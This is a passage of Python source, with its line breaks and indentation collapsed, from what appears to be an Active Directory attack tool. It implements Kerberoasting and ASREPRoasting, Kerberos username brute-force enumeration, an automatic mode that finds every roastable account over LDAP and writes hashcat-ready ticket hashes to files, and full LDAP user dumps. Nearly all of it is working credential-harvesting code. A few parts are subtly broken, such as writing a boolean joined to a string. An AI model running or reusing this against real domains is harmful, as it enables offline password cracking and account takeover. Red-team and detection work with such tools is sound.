open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) logging.debug('Kerberoast loaded %d targets' % len(targets)) if args.etype: if args.etype == -1: etypes = [23, 17, 18] else: etypes = [args.etype] else: etypes = [23, 17, 18] logging.debug( 'Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() ar = Kerberoast(target, cred) hashes = await ar.run(targets, override_etype=etypes) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'brute': target = KerberosTarget(args.address) with open(args.targets, 'r') as f: for line in f: line = line.strip() spn = KerberosSPN() spn.username = line spn.domain = args.realm ke = KerberosUserEnum(target, spn) result = await ke.run() if result is True: if args.out_file: with open(args.out_file, 'a') as f: f.write(result + '\r\n') else: print('[+] Enumerated user: %s' % str(spn)) logging.info('Kerberos user enumeration complete') elif args.command == 'spnroast-sspi': if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) results = [] errors = [] for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn( spn_name.get_formatted_pname()) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete') elif args.command == 'spnroast-multiplexor': #hiding the import so it's not necessary to install multiplexor await spnmultiplexor(args) elif args.command == 'auto': if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') domain = args.dc_ip url = 'ldap+sspi-ntlm://%s' % domain msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] results = [] errors = [] async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[args.etype]) results.append(res) for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) elif args.command == 'ldap': ldap_url = MSLDAPURLDecoder(args.ldap_url) client = ldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if args.type in ['spn', 'all']: logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: async for user in client.get_all_service_users(): cnt += 1 f.write('%s@%s\r\n' % (user.sAMAccountName, domain)) else: print('[+] SPN users') async for user, err in client.get_all_service_users(): if err is not None: raise err cnt += 1 print('%s@%s' % (user.sAMAccountName, domain)) logging.debug('Enumerated %d SPN user accounts' % cnt) if args.type in ['asrep', 'all']: logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: async for user, err in client.get_all_knoreq_users(): if err is not None: raise err ctr += 1 f.write('%s@%s\r\n' % (user.sAMAccountName, domain)) else: print('[+] ASREP users') async for user, err in client.get_all_knoreq_users(): if err is not None: raise err ctr += 1 print('%s@%s' % (user.sAMAccountName, domain)) logging.debug('Enumerated %d ASREP user accounts' % ctr) if args.type in ['full', 'all']: logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) async for user, err in client.get_all_users(): if err is not None: raise err ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) async for user, err in client.get_all_users(): if err is not None: raise err ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) if args.type in ['custom']: if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) async for obj, err in client.pagedsearch( args.filter, args.attrs): if err is not None: raise err ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: async for obj, err in client.pagedsearch( args.filter, args.attrs): if err is not None: raise err ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]))
async def run_auto(): try: if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') from winacl.functions.highlevel import get_logon_info logon = get_logon_info() domain = logon['domain'] url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] errors = [] spn_cnt = 0 asrep_cnt = 0 async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: results = [] ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[23]) results.append(res) filename = 'asreproast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: asrep_cnt += 1 f.write(thash + '\r\n') results = [] for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) filename = 'spnroast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: spn_cnt += 1 f.write(thash + '\r\n') for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) print('[+] Done! %s spnroast tickets %s asreproast tickets' % (spn_cnt, asrep_cnt)) except Exception as e: print(e)
def run_live(self, args): from winsspi.sspi import KerberoastSSPI from minikerberos.security import TGSTicket2hashcat, APREPRoast from minikerberos.utils import TGTTicket2hashcat from minikerberos.communication import KerberosSocket from minikerberos.common import KerberosTarget from pypykatz.commons.winapi.machine import LiveMachine if not args.target_file and not args.target_user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') machine = LiveMachine() realm = args.realm if not args.realm: realm = machine.get_domain() if args.cmd in ['spnroast', 'asreproast']: targets = [] if args.target_file: with open(args.target_file, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if args.target_user: for user in args.target_user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) results = [] errors = [] if args.cmd == 'spnroast': for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn( spn_name.get_formatted_pname()) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) elif args.cmd == 'asreproast': dcip = args.dc_ip if args.dc_ip is None: dcip = machine.get_domain() ks = KerberosSocket(dcip) ar = APREPRoast(ks) results = ar.run(targets) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete')